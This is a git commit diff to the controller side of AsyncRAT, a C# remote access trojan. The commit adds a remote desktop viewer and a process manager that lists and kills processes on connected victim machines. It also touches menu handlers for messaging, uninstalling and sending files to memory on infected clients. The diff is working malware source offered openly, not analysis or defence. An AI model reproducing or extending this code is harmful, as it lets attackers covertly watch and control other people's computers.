Update
Added remotedesktop + process manager
This commit is contained in:
parent
5a3225eecf
commit
264affa76f
@ -21,6 +21,7 @@
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
@ -55,6 +56,18 @@
|
||||
<Compile Include="Forms\Form1.Designer.cs">
|
||||
<DependentUpon>Form1.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Forms\ProcessManager.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\ProcessManager.Designer.cs">
|
||||
<DependentUpon>ProcessManager.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Forms\RemoteDesktop.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\RemoteDesktop.Designer.cs">
|
||||
<DependentUpon>RemoteDesktop.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||
<Compile Include="Helper.cs" />
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
@ -73,9 +86,45 @@
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Socket\Clients.cs" />
|
||||
<Compile Include="Socket\Listener.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<EmbeddedResource Include="Forms\Form1.resx">
|
||||
<DependentUpon>Form1.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Forms\ProcessManager.resx">
|
||||
<DependentUpon>ProcessManager.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Forms\RemoteDesktop.resx">
|
||||
<DependentUpon>RemoteDesktop.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
@ -108,5 +157,6 @@
|
||||
<ItemGroup>
|
||||
<Content Include="async_icon.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
34
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
34
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
@ -32,6 +32,7 @@
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
|
||||
this.listView1 = new System.Windows.Forms.ListView();
|
||||
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
@ -43,11 +44,12 @@
|
||||
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.statusStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
@ -78,6 +80,11 @@
|
||||
this.lv_ip.Text = "IP";
|
||||
this.lv_ip.Width = 150;
|
||||
//
|
||||
// lv_hwid
|
||||
//
|
||||
this.lv_hwid.Text = "HWID";
|
||||
this.lv_hwid.Width = 150;
|
||||
//
|
||||
// lv_user
|
||||
//
|
||||
this.lv_user.Text = "USER";
|
||||
@ -96,9 +103,11 @@
|
||||
this.toolStripSeparator1,
|
||||
this.sENDMESSAGEBOXToolStripMenuItem,
|
||||
this.sENDFILEToolStripMenuItem,
|
||||
this.sENDFILETOMEMORYToolStripMenuItem});
|
||||
this.sENDFILETOMEMORYToolStripMenuItem,
|
||||
this.rEMOTEDESKTOPToolStripMenuItem,
|
||||
this.pROCESSMANAGERToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 130);
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 223);
|
||||
//
|
||||
// cLIENTOPTIONSToolStripMenuItem
|
||||
//
|
||||
@ -157,6 +166,13 @@
|
||||
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
|
||||
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
|
||||
//
|
||||
// rEMOTEDESKTOPToolStripMenuItem
|
||||
//
|
||||
this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
|
||||
this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
|
||||
this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
|
||||
this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
|
||||
//
|
||||
// statusStrip1
|
||||
//
|
||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
@ -186,10 +202,12 @@
|
||||
this.UpdateUI.Interval = 1000;
|
||||
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
|
||||
//
|
||||
// lv_hwid
|
||||
// pROCESSMANAGERToolStripMenuItem
|
||||
//
|
||||
this.lv_hwid.Text = "HWID";
|
||||
this.lv_hwid.Width = 150;
|
||||
this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
|
||||
this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
|
||||
this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
|
||||
this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
|
||||
//
|
||||
// Form1
|
||||
//
|
||||
@ -231,7 +249,9 @@
|
||||
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
|
||||
private System.Windows.Forms.ColumnHeader lv_hwid;
|
||||
private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem;
|
||||
public System.Windows.Forms.ColumnHeader lv_hwid;
|
||||
private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ -8,6 +8,7 @@ using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using AsyncRAT_Sharp.Forms;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : AsyncRAT // Simple Socket
|
||||
@ -66,7 +67,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
|
||||
|
||||
private void ping_Tick(object sender, EventArgs e)
|
||||
private async void ping_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (Settings.Online.Count > 0)
|
||||
{
|
||||
@ -75,7 +76,7 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||
foreach (Clients CL in Settings.Online.ToList())
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
@ -89,7 +90,7 @@ namespace AsyncRAT_Sharp
|
||||
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
|
||||
}
|
||||
|
||||
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -97,7 +98,7 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
@ -106,7 +107,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -120,7 +121,7 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
@ -162,7 +163,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -170,7 +171,7 @@ namespace AsyncRAT_Sharp
|
||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
@ -211,7 +212,7 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
@ -235,7 +236,7 @@ namespace AsyncRAT_Sharp
|
||||
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
Task.Run(() =>
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
@ -246,5 +247,76 @@ namespace AsyncRAT_Sharp
|
||||
SF.Close();
|
||||
}
|
||||
}
|
||||
|
||||
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "true";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
||||
if (RD == null)
|
||||
{
|
||||
RD = new RemoteDesktop
|
||||
{
|
||||
Name = "RemoteDesktop:" + CL.ID,
|
||||
F = this,
|
||||
Text = "RemoteDesktop:" + CL.ID,
|
||||
C = CL,
|
||||
Active = true
|
||||
};
|
||||
RD.Show();
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Option").AsString = "List";
|
||||
foreach (ListViewItem C in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
Clients CL = (Clients)C.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
||||
if (PM == null)
|
||||
{
|
||||
PM = new ProcessManager
|
||||
{
|
||||
Name = "processManager:" + CL.ID,
|
||||
Text = "processManager:" + CL.ID,
|
||||
F = this,
|
||||
C = CL
|
||||
};
|
||||
PM.Show();
|
||||
CL.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
135
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
generated
Normal file
135
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
generated
Normal file
@ -0,0 +1,135 @@
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
partial class ProcessManager
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager));
|
||||
this.listView1 = new System.Windows.Forms.ListView();
|
||||
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// listView1
|
||||
//
|
||||
this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||
this.lv_name,
|
||||
this.lv_id});
|
||||
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.listView1.FullRowSelect = true;
|
||||
this.listView1.GridLines = true;
|
||||
this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
|
||||
this.listView1.Location = new System.Drawing.Point(0, 0);
|
||||
this.listView1.Name = "listView1";
|
||||
this.listView1.ShowGroups = false;
|
||||
this.listView1.ShowItemToolTips = true;
|
||||
this.listView1.Size = new System.Drawing.Size(659, 719);
|
||||
this.listView1.SmallImageList = this.imageList1;
|
||||
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
|
||||
this.listView1.TabIndex = 0;
|
||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||
this.listView1.View = System.Windows.Forms.View.Details;
|
||||
//
|
||||
// lv_name
|
||||
//
|
||||
this.lv_name.Text = "Name";
|
||||
this.lv_name.Width = 350;
|
||||
//
|
||||
// lv_id
|
||||
//
|
||||
this.lv_id.Text = "ID";
|
||||
this.lv_id.Width = 150;
|
||||
//
|
||||
// imageList1
|
||||
//
|
||||
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new System.Drawing.Size(32, 32);
|
||||
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||
//
|
||||
// contextMenuStrip1
|
||||
//
|
||||
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.killToolStripMenuItem,
|
||||
this.refreshToolStripMenuItem});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
|
||||
//
|
||||
// killToolStripMenuItem
|
||||
//
|
||||
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||
this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
||||
this.killToolStripMenuItem.Text = "Kill";
|
||||
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
|
||||
//
|
||||
// refreshToolStripMenuItem
|
||||
//
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
//
|
||||
// ProcessManager
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(659, 719);
|
||||
this.Controls.Add(this.listView1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "ProcessManager";
|
||||
this.Text = "ProcessManager";
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
private System.Windows.Forms.ColumnHeader lv_name;
|
||||
private System.Windows.Forms.ColumnHeader lv_id;
|
||||
public System.Windows.Forms.ListView listView1;
|
||||
public System.Windows.Forms.ImageList imageList1;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
||||
private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;
|
||||
private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem;
|
||||
}
|
||||
}
|
||||
62
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
Normal file
62
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
Normal file
@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using AsyncRAT_Sharp.MessagePack;
|
||||
using AsyncRAT_Sharp.Sockets;
|
||||
|
||||
namespace AsyncRAT_Sharp.Forms
|
||||
{
|
||||
public partial class ProcessManager : Form
|
||||
{
|
||||
public ProcessManager()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
public Form1 F { get; set; }
|
||||
internal Clients C { get; set; }
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!C.Client.Connected)
|
||||
{
|
||||
this.Close();
|
||||
}
|
||||
}
|
||||
|
||||
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
foreach (ListViewItem P in listView1.SelectedItems)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Option").AsString = "Kill";
|
||||
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
await Task.Run(() =>
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Option").AsString = "List";
|
||||
C.BeginSend(msgpack.Encode2Bytes());
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
586
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx
Normal file
586
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.resx
Normal file
@ -0,0 +1,586 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
